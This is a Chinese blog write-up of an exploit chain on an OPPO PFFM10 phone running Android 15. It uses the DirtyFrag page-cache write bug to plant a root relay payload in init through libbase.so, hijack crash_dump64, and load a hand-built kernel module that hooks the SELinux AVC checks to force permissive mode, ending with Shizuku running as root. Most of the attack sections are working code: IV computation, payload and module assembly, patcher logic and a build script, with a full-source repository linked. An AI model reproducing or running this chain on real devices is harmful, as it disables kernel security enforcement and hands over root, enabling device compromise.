前言

本篇文章仅用于记录博主本人折腾自己的旧手机经历,请勿在任何非授权设备上进行尝试,不对获取临时Root时或者获取后造成的任何后果负责!
本篇文章由AI辅助编写
感谢DeepSeek V4.1 Flash的大力协助

环境

设备:OPPO PFFM10(OP520DL1,SM8350)
系统:ColorOS 15 / Android 15(SDK 35)/ user build / 内核 5.4.254-qgki(clang 11 LTO,CFI_CLANG,MODVERSIONS)/ SELinux Enforcing / bootloader 锁定 / dm-verity 全开 / 无 root
漏洞:CVE-2026-43284(DirtyFrag)——xfrm-ESP 页缓存写原语
安全约束:只允许 RAM-only / 页缓存级写入;禁止对受校验分区做持久化写

仓库

文章中的完整源码已整理至 https://github.com/GoodBoyboy666/dirtyfrag-oppo-pffm10

背景

为什么是 DirtyFrag

CVE-2026-43284(DirtyFrag):Linux 内核 xfrm/ESP 的原地解密在零拷贝 splice() 发送路径上会把解密结果直接写进文件页缓存(page cache),而不是私有 skb 副本。攻击者只要能让内核对一个「已 splice 进 UDP skb 的文件页」做一次 ESP AES-CBC 解密,就能以 16 字节块为粒度、不需要写权限、不产生脏页、不落盘地改写任意可读文件的页缓存内容。

  • NVD 受影响范围:4.11 ≤ v < 5.10.255(含本机 5.4.254)。
  • 修复方式:skb_has_shared_frag() 检查 + splice 页标记(SKBTX_SHARED_FRAG),使 ESP 不再对共享 frag 原地解密,而是先 skb_cow_data() 复制。
  • 本机内核源码(厂商 5.4.254 源码树)与设备 vmlinux 二进制均确认该修复缺失:
    • net/ipv4/esp4.c 的 esp_input() 仍是「!skb_cloned → 线性/非线形快路径 → goto skip_cow」,仅在需要时才 skb_cow_data();
    • net/ipv4/ip_output.c 的 ip_append_page() → skb_append_pagefrags() 没有设置 SKBTX_SHARED_FRAG;
    • 5.4 走的是旧 generic_splice_sendpage → udp_sendpage → ip_append_page 零拷贝路径(不是 6.5+ 的 MSG_SPLICE_PAGES 新接口)——漏洞窗口与载体接口无关,旧路径同样命中。

理论上支持Android 12+设备,而Ghostlock漏洞需要Linux 6+内核支持,我这台手机内核为5.4不支持。

为什么触发入口必须是 App,不能是 adb shell

shell(uid=2000)同时缺两样东西:

  1. SELinux 策略没有 netlink_xfrm_socket 的 allow;
  2. CapEff=0,没有 CAP_NET_ADMIN,无法创建 XFRM SA/策略。

两者任一都会让 socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM) 返回 EACCES(实测 rc=-13)。而普通 App 通过 IpSecManager 这个公开 API 就能合法地让 system_server 代劳建立 ESP 变换(VPN 类应用同款机制)。下面是最小示意(createTransform 属隐藏 API,实际工程里用公开的 IpSecTransform.Builder,见 §4.3):

1
2
3
4
5
6
7
8
IpSecManager ipsec = (IpSecManager) getSystemService(Context.IPSEC_SERVICE);
IpSecManager.UdpEncapsulationSocket encapSock = ipsec.openUdpEncapsulationSocket();
IpSecManager.SecurityParameterIndex spi =
ipsec.allocateSecurityParameterIndex(InetAddress.getByName("127.0.0.1"));
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, key32);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, key32, 256);
IpSecTransform t = ipsec.createTransform(encapSock, spi, crypt, auth);
t.applyTransportModeTransform(sock, IpSecTransform.DIRECTION_OUT);

App 拿到的是 UDP encapsulation socket 的端口(encapSock.getPort())、SPI 和自己生成的 AES 密钥;真正的 XFRM state 由 system_server/netd 在系统侧安装。App 只需要再自建一个绑定在 senderPort 的普通 UDP socket、connect 到 encapPort,然后把「ESP 头 + IV + 密文」splice 进这个 socket——内核就会按已安装的 SA 做加密/解密。


核心原语:ESP 解密写页缓存

数据流全景

1
2
3
4
5
6
7
8
9
10
11
12
App 进程                                  内核
──────── ────
open("target", O_RDONLY) ──► page cache 页 P(只读文件,erofs)
splice(file_fd, off, pipe_wr, 16) ──► pipe buffer 引用页 P(零拷贝)
vmsplice(hdr 24B: SPI|SEQ|IV) ──► pipe
splice(pipe_rd, udp_sock, 40B) ──► udp_sendpage → ip_append_page
→ skb_append_pagefrags(skb, page P, off, 16)
──► xfrm 输出:ESP 加密
→ 对端/回环输入:esp_input
→ 原地 AES-CBC 解密写回 page P
──► ICV(HMAC-SHA256) 校验(可能失败,包被丢)
★ 但页缓存已经被改写 —— 写入已完成

关键点:解密发生在 ICV 校验之前,即使校验失败、包被内核丢弃,页缓存也已经被改写。这就是「写原语」而不是「需要正确报文的协议交互」。

为什么能写:skip_cow 快路径

esp_input()(5.4)的经典结构(示意,省略错误处理):

1
2
3
4
5
6
7
8
9
10
11
if (!skb_cloned(skb)) {
if (!skb_is_nonlinear(skb)) {
nfrags = 1;
goto skip_cow; /* 线性 skb:不复制 */
}
if (!skb_has_frag_list(skb)) {
nfrags = skb_shinfo(skb)->nr_frags + 1;
goto skip_cow; /* 有 frags 但无 frag_list:不复制 */
}
}
/* 否则才 */ skb_cow_data(skb, ...);

ip_append_page() 把 pipe 页挂进 skb frag 时既没有设置 SKBTX_SHARED_FRAG,也没有让 skb_cloned 为真(发送前 skb 是新鲜的),于是 esp_input 走 skip_cow,直接对 frag 指向的物理页做原地解密——而这个物理页就是目标文件的页缓存页。

IV 公式的推导

AES-CBC 解密:

1
P_i = AES_DEC(C_i) ⊕ C_{i-1},   C_0 = IV

我们控制 IV 和密文块 C_1(就是目标页当前内容 old16),希望解密结果等于 desired16:

1
2
desired = AES_DEC(old16) ⊕ IV
⇒ IV = AES_DEC(old16) ⊕ desired

实现(src/dfi_engine.c 的 compute_iv(),完整源码见 §4.4):

1
2
3
4
5
6
static void compute_iv(const uint8_t old_content[16], const uint8_t desired[16], uint8_t iv[16]) {
uint8_t dec[16];
aes256_ecb_decrypt(g_aes_key, old_content, dec);
for (int i = 0; i < 16; i++)
iv[i] = dec[i] ^ desired[i];
}

发送时每个块构造 24 字节头:SPI(4, BE) | SEQ(4, BE) | IV(16),后面跟 16 字节「密文」(= old16)。总长 40 字节正好是一个「头部 + 单块 ESP payload」的最小包。

为什么是 RAM-only

  • 目标文件在 erofs 只读分区(/system、/vendor 都在 super 分区,dm-verity 保护),页缓存页被原地改写后:
    • 页不会被标记 dirty(写入来自内核 skb frag 的直接内存写,不走 set_page_dirty 的正常路径);
    • 因而不存在回写磁盘的可能;
  • dm-verity 的哈希树校验发生在「从块设备读页」时;页已在缓存中且未被回收时,读到的就是我们改过的内容;
  • 断电/重启 → 页缓存清空 → 重新从磁盘读 → 原内容恢复。

页缓存写的两个限制

  1. 16 字节对齐、块粒度:每次只能改一个 16B 块,且必须先 pread 读出旧内容算 IV(所以我们所有「投递」都是逐块读-算-写)。
  2. 页可能被回收:低内存时页缓存页可能被回收(内容回退为磁盘版本),所以投递完要尽快使用(本链在毫秒级完成);必要时半程重投(§4.4 WAIT 逻辑)。

第一阶段DirtyFrag → SELinux permissive详解

总体链路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[App] IpSecManager 建立 ESP 变换
│
├─(1) xfrm 页缓存写:把 636B 自研payload写进 /system/lib64/libbase.so 的
│ android::base::LogMessage::~LogMessage()(0x146c0,写入点 0x146c4)
│
├─(2) init 下一次 LOG() 调用 → payload执行:
│ fork 子进程(uid0,仍是 u:r:init:s0),bind 抽象 socket @pcw_relay,
│ accept 循环 = 通用 syscall relay
│
├─(3) 客户端(第一阶段是 adb + DirtyInit CLI;第二阶段内置在 APK)连 relay
│ → 以 init 身份执行命令(id → uid=0(root) context=u:r:init:s0)
│
├─(4) init 能力边界:CapEff=0x3fffffffff(含 CAP_SYS_MODULE/CAP_MAC_ADMIN)
│ 但策略里 0 条 setenforce/load_policy allow → setenforce 0 被 EACCES
│ 且 CONFIG_SECURITY_SELINUX_DISABLE=n → /sys/fs/selinux/disable 恒 EINVAL
│ ⇒ permissive 只能靠内核代码执行(模块 / shellcode)
│
├─(5) 自研 avc_probe.ko(纯汇编,匹配 5.4 ABI/vermagic/CFI)
│ 经「页缓存写」投递到未加载的 vendor 载体 altmode-glink.ko
│
├─(6) relay 执行 finit_module(载体 fd) → 模块加载
│ kprobe 劫持 avc_denied / avc_has_perm / avc_has_perm_noaudit /
│ avc_has_extended_perms / avc_has_perm_flags,强制 return 0
│
└─(7) relay 执行 setenforce 0 → 成功,getenforce = Permissive
负对照:rmmod 后 setenforce 0 重新 Permission denied
重启后:Enforcing 恢复、载体文件内容不变、relay 消失

第 1 步:payload注入 libbase.so

为什么选 ~LogMessage()

/system/lib64/libbase.so 是 init 自己链接的库,init 每次打日志都会调用 android::base::LogMessage::~LogMessage()。设备实测:

项目 值
文件 /system/lib64/libbase.so,198456 B
符号 _ZN7android4base10LogMessageD2Ev(D1/D2 同址)
函数文件偏移 0x146c0
函数大小 864 B(0x360)
首指令 0xd503233f = PACIASP
写入起点 0x146c4(跳过 PACIASP,即 bti_skip = 4)
真实 epilogue 起点 func + 0x29c = 668(6 条指令)
RET 指令 func + 0x2b4 = 692

安全预算:payload写 [0x146c4, 0x146c4+len),不得越过 668(否则覆盖真实 epilogue),所以 len ≤ 668 - 4 = 664 字节。

payload的硬性布局约束

DirtyInit 的 patcher 会动态找payload里的「NOP 槽」,把它们替换成:

1
2
<6 条原函数 prologue 回放指令>   ; 把被我们覆盖掉的函数入口恢复
B <真实 epilogue 起点> ; 跳回未被覆盖的 epilogue,透明返回调用者

因此payload必须满足:

  1. 大小 ≥16、4 字节对齐、≤664 B;
  2. 含 ≥7 个连续 4 字节 NOP(0xd503201f)槽;
  3. NOP 槽前紧跟 restore 块(ldp x21,x22 / ldp x19,x20 / ldp x0,x30);
  4. 不破坏 x23–x29(callee-saved,供直接 RETAA 回退路径使用)。

本机 profile(libbase.so)的 6 条 prologue / 6 条 epilogue 逐字为(src/dfi_engine.c 内):

1
2
3
4
5
6
7
8
9
static const uint32_t k_d2_prologue[6] = {
0xd101c3ffu, 0xa9037bfdu, 0xa9045ff8u, 0xa90557f6u, 0xa9064ff4u, 0x9100c3fdu,
};
static const uint32_t k_d2_epilogue[6] = {
0xa9464ff4u, 0xa94557f6u, 0xa9445ff8u, 0xa9437bfdu, 0x9101c3ffu, 0xd50323bfu,
};

#define LIBBASE_BTI_SKIP 4u
#define LIBBASE_EPI_START 668u /* RET at 692 minus 6 epilogue insns */

payload(636 B)的实测数字(payload/verify_layout.py 的真实输出,见 §3.3.4):

1
2
3
4
5
6
7
D2: file_off=0x146c0 size=864
word0=0xd503233f bti_skip=4
ret_off=692 epi_count=6 epilogue_start=668
payload: len=636
nop run: start=0x200 count=7
restore words before nop run: 0xa8c15bf5 0xa8c153f3 0xa8c17be0
payload_file_offset=0x146c4 payload_end=0x14940 safe_path=True

第七个 NOP 槽被改写为 B。disp = epilogue_start - bti_skip - (nop_off + 24) = 668 - 4 - (0x200 + 24) = 128 字节 = 32 条指令:

1
2
B 编码 = 0x14000000 | (128/4) = 0x14000020
目标 = payload 内偏移 0x298(664) → 文件偏移 0x146c4+664 = 0x1495c = 0x146c0+668(真实 epilogue)

偏移量不要硬编码:下面这组数字(nop@0x200、B 0x14000020、disp=128)属于当前payload(636 B)。patcher 不硬编码任何数字:它每次从 live 文件读 prologue/epilogue 校验、在payload里自适应找最长 NOP run、按 LIBBASE_EPI_START - LIBBASE_BTI_SKIP - (nop_off+24) 现算位移(见 §4.4 的 patch_payload_template()),所以换 ROM、换payload都不用改代码。

DirtyInit 的关键实现(外部项目,仅摘录关键片段)

上游项目:DirtyInit(https://github.com/combeng6th/DirtyInit),参考实现是其中 native/dfi_exploit.c + native/dirtyinit.c。它不是本项目的产物,这里只摘录复现必需的三段;完整源码请自行 clone 该仓库。

(a) 找函数与算偏移(dfi_exploit.c 的逻辑摘要):

1
2
3
4
5
6
7
8
9
/* 伪代码摘要,仅示意上游算法 */
Elf64_Sym *sym = find_sym(elf, "_ZN7android4base10LogMessageD2Ev");
size_t func_off = sym->st_value; /* 0x146c0 */
size_t func_size = sym->st_size; /* 864 */
uint32_t w0 = read_u32(file, func_off); /* 0xd503233f PACIASP */
int bti_skip = is_bti_pac(w0) ? 4 : 0; /* → 4 */
/* RET 从函数尾部向前找:0xd65f03c0(RET)/ 0xd65f0bff(RETAA) */
/* epilogue_count = RET 前连续的 ldp/stp/add 收尾指令条数 → 6 */
/* epilogue_start = ret_off - 4*epilogue_count → 668 */

(b) 三阶段写入顺序(安全性关键,dfi_exploit.c 的 patch()):

1
2
3
4
phase 1: 写 entry 块 = RETAA + 3×NOP        (函数立即变 no-op,配合保留的 PACIASP)
phase 2: 写 body 块 1..N-1 (每块:pread 旧值 → 算 IV → ESP 写)
phase 3: 写 entry 块 = 完整payload入口 (此时旧值是 phase1 写的 RETAA 块)
verify : 逐块 pread 回读比对

© NOP 槽替换(patcher 把模板变成本机可用payload):

1
2
3
4
nop_off = find_longest_nop_run(payload);      /* ≥ epilogue_count+1 = 7 个 4B NOP */
memcpy(payload + nop_off, prologue, 6*4); /* 6 条 prologue 回放 */
disp = epilogue_start - bti_skip - (nop_off + 24);
*(uint32_t*)(payload + nop_off + 24) = 0x14000000 | ((disp/4) & 0x03FFFFFF);

不过本次没有复用上游的 576B payload本体(它只 bind @pcw_relay、什么都不做,靠 DirtyInit 的 CLI 再投递),而是自写了一份自包含payload(§3.3.3):自行完成 finit_module + setenforce 0 + relay。

三阶段写入实现

完整实现见 §4.4 的 patch_libbase_3phase()(src/dfi_engine.c,约 90 行,含每步打印与 VERIFY)。核心顺序与上游一致;差异是:

  • 模板校验(§3.2.2 的 prologue/epilogue/RET 逐字比对)在写入前执行,不匹配就拒绝写(防止未知 ROM 把 init 写崩);
  • 幂等:检测到页面里已经是我们的payload(入口三连 stp),跳过 pristine 校验但仍强制校验 epilogue/RET;
  • payload长度上限 664 B 硬检查。

第 2 步:init 侧 relay payload

上游DirtyInit payload(外部项目,关键片段)

DirtyInit 的 payload 反汇编后是这样一个「fork-per-connection 的 syscall relay」:

1
2
3
4
5
6
7
8
9
10
; 上游 576B payload的核心流程(反汇编摘要)
stp x0,x30 / stp x19,x20 / stp x21,x22 ; 保存现场
getuid()==0 && getpid()==1 ? ; 守卫:只在 init 主线程执行
socket(AF_UNIX, SOCK_STREAM)
bind("\0dfi_init") ; 抽象命名空间 socket(上游固定名)
listen(fd, 2)
loop: accept() → clone(SIGCHLD) fork
子: close(listen); read 4096B 请求页 → svc #0 → 写回响应页
父: close(conn); 继续 accept
restore: ldp…; <7 个 NOP 槽(被 patcher 替换为 prologue 回放 + B)>

配套客户端(dirtyinit.c)的协议是 4096 字节定长页(§3.4)。

为什么重写

上游payload只做 relay,直接用会踩三个坑:

  • finit_module(fd, NULL, 0) 在本内核返回 -EFAULT(params 必须非 NULL);
  • socket 名是写死的常量,反复注入时新payload bind 失败后会与 PID 1 里残留的旧监听 fd 打架(§6 #4);
  • 每个 init 日志都会触发一次 fork,去重只在子进程里做,会 fork 洪水(§6 #5)。

自研payload的关键改动是自包含 + 去重前置:

1
2
3
4
5
6
getuid()==0 && getpid()==1 ? → socket + bind @pcw_relay
├─ 成功 → clone(SIGCHLD)
│ 子: setsid; finit_module(载体, "", 0); write(enforce,"0");
│ listen + accept4 循环(4096B raw-syscall relay)
│ 父: restore(prologue 回放 + B)
└─ EADDRINUSE → 已武装,直接 restore(不 fork)

payload的关键设计(完整源码见 payload/init_payload.S)

payload全文 223 行、汇编后 636 B。真正决定「能不能用」的是三处结构:

(a) 去重前置:socket + bind 必须在 fork 之前(见 §6 #5):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* bind @pcw_relay — EADDRINUSE => relay already live => do NOT fork */
sub sp, sp, #16
adr x9, sockaddr
ldr x10, [x9]
str x10, [sp]
ldr w11, [x9, #8]
str w11, [sp, #8]
mov x0, x19
mov x1, sp
mov x2, #12
mov x8, #200 /* bind */
svc #0
add sp, sp, #16
tbnz x0, #63, dedupe_close

(b) 父进程复原跳板:restore 块 + 7 个 NOP 槽(patcher 把 6 个 NOP 换成 prologue 回放、第 7 个换成 B):

1
2
3
4
5
6
7
8
/* ---------------- parent restore trampoline ---------------- */
.balign 4
restore:
ldp x21, x22, [sp], #16
ldp x19, x20, [sp], #16
ldp x0, x30, [sp], #16
/* seven 4-byte NOP slots — the exploit patches 6 prologue words + 1 B here */
nop

© 数据段:载体路径与抽象 socket 名(改这里就等于换载体/换 relay 名):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
carrier_path:
.asciz "/vendor/lib/modules/5.4-gki/altmode-glink.ko"
.balign 4
empty_params:
.byte 0

enforce_path:
.asciz "/sys/fs/selinux/enforce"
.balign 4
zero_char:
.byte '0'
.balign 4
sockaddr:
.byte 0x01, 0x00 /* AF_UNIX */
.byte 0x00 /* abstract namespace */
.asciz "pcw_relay"

relay 协议(4096 字节定长页)

App/CLI 与 init relay 之间是 raw syscall 转发协议,一页 4096 字节:

偏移 字段
0 u64 nr(syscall 号)
8…48 u64 x0..x5(前 6 个参数)
56 u32 flags:bit0…4 = 对应的 xN 是「页内数据区偏移」,relay 会重定位为绝对指针;bit7 = FLAG_EXIT(回复后退出连接)
60 u8 status:响应时置 0xD1
64…4095 数据区(4032 字节;字符串/argv/envp 等放这里)

响应页:retval @0,数据回写到 @64。客户端实现见 §4.4 的 relay_call()。

实测效果:

1
2
3
4
# dirtyinit id
uid=0(root) gid=0(root) groups=3009(readproc) context=u:r:init:s0
# dirtyinit cat /proc/1/status
Name: init / Tgid: 1 / PPid: 0

注意:init 域不能 exec 任何二进制(策略里没有 execute_no_trans),一 exec 就会域转换到目标文件的域且永远回不来。所以 relay 的价值是「raw syscall 执行器」,不是 shell。

第 3 步:init 的能力边界(为什么必须上模块)

实测(relay 内):

项目 值
CapEff / CapBnd 0x3fffffffff(bit16 CAP_SYS_MODULE、bit33 CAP_MAC_ADMIN 都在)
策略中 security(setenforce) allow 0 条(全策略任何域都没有)
策略中 security(load_policy) allow 0 条
read_policy 仅 adbd/system_server
setenforce 0 EACCES(缺 SELinux allow,不是缺 capability)
/sys/fs/selinux/disable 节点存在,但 CONFIG_SECURITY_SELINUX_DISABLE=n → 写恒 EINVAL
init 对 apk_data_file / shell_data_file 无 execute → 不能 exec App 目录或 /data/local/tmp
init 对 vendor_file 有 (allow init vendor_file (system (module_load)))(策略行 39625)
init self capability 有 sys_module/sys_admin 等(策略行 38484)

结论:permissive 只能靠「内核里执行的代码」——也就是内核模块(或等价 shellcode)。SELinux 策略这条路本身被堵死。

第 4 步:为什么模块能加载——按「标签」而不是「路径」判定

module_load 权限是按文件的 SELinux 标签判定的:

  • vendor_file 标签的 ko → 通过 SELinux 检查,止于内核的 ENOEXEC/CRC 检查;
  • shell_data_file / system_lib_file 标签 → 直接 EACCES;
  • init 无法给文件 chcon 成 vendor_file(没有 relabelto 到该类型的权限)。

所以攻击面是:找一个 vendor_file 标签、当前未加载、足够大的 ko,把我们的模块写进它的页缓存。

选型:/vendor/lib/modules/5.4-gki/altmode-glink.ko

  • 29600 B,u:object_r:vendor_file:s0,root:root 0644,erofs 只读(自身不被修改,只在页缓存里临时替换内容);
  • 当前未加载(/proc/modules 里没有);
  • 29600 ≥ 6800(我们的模块大小),尾部残留的 22800 字节不会被内核使用(内核只读 ELF 头/段表/大小)。

怎么挑载体:ls -l /vendor/lib/modules/5.4-gki 并对照 modules.load 排除已加载项。任何满足「vendor_file 标签 + 未加载 + 足够大」的都可以;altmode-glink.ko 只是实测选用的一个,换成别的同样成立。

投递方式:App 域自己读不了 vendor_file(实测 open → EACCES(13)),所以要先搭 crash_dump64 桥:

  1. 用页缓存写把 pcache_helper(1072 B 的 freestanding 静态 ELF)写到 /apex/com.android.runtime/bin/crash_dump64(548888 B,0755,标签 crash_dump_exec)的 offset 0;
  2. App fork/exec 这个 crash_dump64;因为文件标签是 crash_dump_exec,exec 后进程进入 crash_dump 域(allow domain crash_dump_exec (file (read getattr map execute open))) 13719;allow crash_dump vendor_file (file (read open map))) 11372-74);
  3. helper 的 argv = [off, path, mode]:把 vendor_file 的页 splice 进 pipe(读模式则 pread 16B 回读);
  4. App 自己的 xfrm socket 负责把 pipe 里的页发出去做 ESP——helper 只负责「把 vendor_file 的页弄进 pipe」。

这个桥是幂等的:crash_dump64 的页缓存被替换后,系统真正的 crash dump 功能在重启前不可用(每次调用只是执行我们的 helper 然后退出),对使用无影响,重启自动恢复。

第 5 步:avc_probe.ko 与构建

模块采用劫持 AVC 判定函数的返回值(selinux_state.enforcing在 .bss.rtic 专用页,有高通 RTIC/TZ 风险)

  • 5.4 的 SELinux 里 avc_denied() 是 static noinline,有 4 个直接 BL 调用点(设备 vmlinux:0xffffffc0107d8d88、…954c、…96e4、…9888),把它强制返回 0 就能把「拒绝」变成「允许」;
  • 但该内核 clang LTO 会把 avc_has_perm_noaudit() 内联出多份副本,只 hook 一个入口不够,因此同时 hook 五个符号:
    avc_denied、avc_has_perm、avc_has_perm_noaudit、avc_has_extended_perms、avc_has_perm_flags。

模块全文 273 行、汇编后 6800 B,纯汇编、无 C 运行时依赖。

(a) CFI 空桩 + 返回值劫持的 pre_handler。pre_handler 收到 (struct kprobe *, struct pt_regs *),三行指令完成「返回值改 0 + 跳过函数体」:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
	.global __cfi_check
.type __cfi_check, %function
__cfi_check:
/* Cross-DSO CFI check target: accept every indirect call into this
* module (kernel passes (typeid, ptr, diag) in x0/x1/x2). */
ret
.size __cfi_check, . - __cfi_check

.global df_ret0_pre
.type df_ret0_pre, %function
df_ret0_pre:
/* int pre_handler(struct kprobe *p, struct pt_regs *regs) */
str xzr, [x1] /* regs->regs[0] = 0 (return value) */
ldr x2, [x1, #0xf0] /* x2 = regs->regs[30] = LR */
str x2, [x1, #0x100] /* regs->pc = LR -> return to caller */
mov w0, #1 /* handled: skip single-step */
ret
.size df_ret0_pre, . - df_ret0_pre

(b) struct kprobe 按本内核布局手工展开,五个符号一次注册(宏体里 0x28/0x30/0x40 等偏移即 5.4 vendor 树的真实布局):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
 * struct kprobe instances (layout of this vendor 5.4 tree, CONFIG_KPROBES=y):
* 0x00 hlist_node(16) 0x10 list_head(16) 0x20 nmissed(8) 0x28 addr(8)
* 0x30 symbol_name(8) 0x38 offset(4)+pad 0x40 pre_handler(8)
* 0x48 post_handler 0x50 fault_handler 0x58 opcode(4)+pad
* 0x60 arch_specific_insn(32) 0x80 flags(4)+pad, sizeof = 0x88
*/
.section .data,"aw",%progbits
.align 3
.global df_res
df_res:
.zero 20
.zero 4
/* 24 bytes reserved (5 x int results + padding) */

.macro KPROBE label, strsym
.global \label
\label:
.zero 0x28
.quad 0 /* addr: filled by register_kprobe */
.quad \strsym /* symbol_name */
.word 0 /* offset */
.word 0 /* padding */
.quad df_ret0_pre /* pre_handler */
.quad 0 /* post_handler */
.quad 0 /* fault_handler */
.word 0 /* opcode */
.word 0 /* padding */
.zero 32 /* arch_specific_insn */
.word 0 /* flags */
.word 0 /* tail padding */
.endm

KPROBE kp_denied, df_s_denied
KPROBE kp_perm, df_s_perm
KPROBE kp_noaudit, df_s_noaudit
KPROBE kp_xperm, df_s_xperm
KPROBE kp_pflags, df_s_pflags

© 模块元数据,5.4 vendor 内核的硬约束,写错任何一个都会 -ENOEXEC 或加载即崩:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
	.section .modinfo,"a",%progbits
.asciz "license=GPL v2"
.asciz "name=avcprobe"
.asciz "vermagic=5.4.254-qgki-g4b4f00e3d616 SMP preempt mod_unload modversions aarch64"
.asciz "depends="
.asciz "description=SELinux AVC kprobe permissive payload"

.section __versions,"a",%progbits
.align 3
.quad 0xdc7fd1bf /* module_layout CRC (hardware-validated) */
.asciz "module_layout"
.zero 42 /* name field is char[56] */

.section .gnu.linkonce.this_module,"aw",%progbits
.align 6
.global __this_module
.type __this_module, %object
__this_module:
.zero 0x18
.asciz "avcprobe"
.zero 0x16f /* pad to 0x190 */
.quad init_module /* mod->init @0x190 */
.zero 0x1e0 /* pad to 0x378 */
.quad cleanup_module /* mod->exit @0x378 */
.zero 0x40 /* pad to 0x3c0 */
.size __this_module, . - __this_module

构建脚本 module/build.sh(自寻 aarch64 binutils;产物固定 6800 B——struct module 是手工展开的,多一个字节都会错位):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/bin/sh
# build.sh — build avc_probe.ko from avc_probe.S with an aarch64 binutils.
#
# Toolchain search order:
# 1) $TOOLCHAIN (explicit override, e.g. TOOLCHAIN=/opt/aarch64)
# 2) a Debian-style binutils-aarch64-linux-gnu install
# 3) a ../toolchain/ tree next to this script
set -e
HERE=$(cd "$(dirname "$0")" && pwd)
cd "$HERE"

find_tool() {
for base in "$TOOLCHAIN" "$HERE/../toolchain" ""; do
if [ -n "$base" ]; then
as="$base/usr/bin/aarch64-linux-gnu-as"
ld="$base/usr/bin/aarch64-linux-gnu-ld"
lib="$base/usr/lib/x86_64-linux-gnu"
else
as=$(command -v aarch64-linux-gnu-as || true)
ld=$(command -v aarch64-linux-gnu-ld || true)
lib=""
fi
if [ -x "$as" ] && [ -x "$ld" ]; then
AS="$as"; LD="$ld"
[ -n "$lib" ] && export LD_LIBRARY_PATH="$lib${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}"
return 0
fi
done
echo "aarch64 binutils not found." >&2
echo " install: apt-get install binutils-aarch64-linux-gnu" >&2
echo " or set: TOOLCHAIN=/path/to/prefix" >&2
return 1
}

find_tool
"$AS" -o avc_probe.o avc_probe.S
"$LD" -r -o avc_probe.ko avc_probe.o
mkdir -p ../assets
cp avc_probe.ko ../assets/avc_probe.ko
ls -l avc_probe.o avc_probe.ko ../assets/avc_probe.ko

产物:avc_probe.ko,6800 B,纯汇编,无 C 运行时依赖,加载时零副作用(不写任何文件、不 hook 系统调用)。

第 6 步:setenforce 0 与负对照

1
2
3
4
5
# relay: setenforce 0
# getenforce
Permissive
# cat /sys/fs/selinux/enforce
0

因果验证(负对照):

1
2
3
4
rmmod avcprobe          (permissive 下可卸载)
setenforce 1 → Enforcing
setenforce 0 → "write failed: Permission denied" ← 没有模块时被 SELinux 拒绝
re-deliver + insmod avcprobe → setenforce 0 再次成功 → Permissive

permissive 后同样的 insmod /data/local/tmp/avc_probe.ko 从 EACCES 变成内核态 EEXIST(因为模块已在),说明 module_load 等 SELinux 检查已全面放行。

重启验证:

1
2
3
4
5
getenforce = Enforcing
grep -c avcprobe /proc/modules = 0
载体文件内容/大小未变(全盘只在页缓存里改过),mtime 未变
crash_dump64 = 548888 B(原始大小,非 1072)
尝试连接 relay socket → Connection refused(libbase 补丁也消失)

至此第一阶段完成:DirtyFrag → init 临时 root → SELinux permissive,且全程 RAM-only、重启完全恢复。


第二阶段详解:一键 APK → Shizuku(root)

第一阶段的问题:流程太长(装 DirtyInit App → 点按钮 → adb 抽 CLI → push → 手工 relay 命令 → 投递 ko → insmod → setenforce → 再手工起 Shizuku)。第二阶段把它压缩成:

装一个 APK → 点一次 RUN → Shizuku 显示「正在执行 ,root」。不需要 adb,不需要电脑。

为什么选 Shizuku,而不是自己写 su

  • 设备上已装 Shizuku 13.6.0;它自带一套成熟的「root 模式启动器」;
  • 不必不重复造轮子;
  • Shizuku 的 root 模式 = 以 uid 0 启动 shizuku_server,Manager UI 会显示 root 状态;之后所有通过 Shizuku API 的调用都以 uid 0 执行(newProcess(["id"]) → uid=0(root))。

关键前提:必须先 permissive。:

  • libshizuku.so 启动时做 selinux_check_access("u:r:untrusted_app:s0", current, "binder", "call"/"transfer"),enforcing 下 init 域必然失败 → exit(10);
  • 即使绕过,zygote 域在 enforcing 下对 apk_data_file 零权限(读不了自己的 base.apk)、对 system_server 的 binder 零权限,server 起不来。

总体链路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[io.dirtyfrag.shizuku APK]  MainActivity(点一次 RUN)
│ 1. IpSecManager 建 ESP 变换(encapPort/senderPort/spi/aesKey → argv)
│ 2. exec libdfi.so --oneshot ...
▼
[libdfi.so --oneshot](App 进程内,untrusted_app 域)
│ A. patch_helper:页缓存写 crash_dump64 ← pcache_helper(1072B)
│ B. deliver:经 crash_dump 桥把 avc_probe.ko 写进 altmode-glink.ko 页缓存 + VERIFY
│ C. patch_libbase_3phase:把 init payload(636B,模板已 patch)写进 libbase.so+0x146c4 + VERIFY
│ D. WAIT:轮询 /sys/fs/selinux/enforce==0 且 @pcw_relay relay 可连(≤180s,半程重投一次载体)
│ E. kill 旧的 shizuku_server
│ F. stage2:relay 内 mmap 固定地址 → 写 args.bin → pread64 → dup3 /dev/null → chdir /
│ → execve(<shizuku>/lib/arm64/libshizuku.so, ["--apk=<base.apk>"], ART env)
▼
[init relay 子进程 uid0] execve libshizuku.so
│ starter: se::init / kill 旧 server / switch_cgroup / setns("/proc/1/ns/mnt")
│ / fork → app_process ... --nice-name=shizuku_server
▼
[u:r:zygote:s0, uid0] shizuku_server(rikka.shizuku.server.ShizukuService)
│ binder 推送给 Manager → UI 显示「Shizuku 正在執行」「版本 13.5,root」
▼
[验收] ps: root … shizuku_server;/proc/<pid>/status Uid=0 CapEff=0x3fffffffff
attr/current=u:r:zygote:s0

App 侧:MainActivity 与 Manifest

Manifest 全文 36 行(app/AndroidManifest.xml)。唯一容易漏的是 Android 11+ 包可见性——缺 <queries> 会让 getApplicationInfo("moe.shizuku.privileged.api") 抛 NameNotFoundException(实测 rc=-2,§6 #6):

1
2
3
4
5
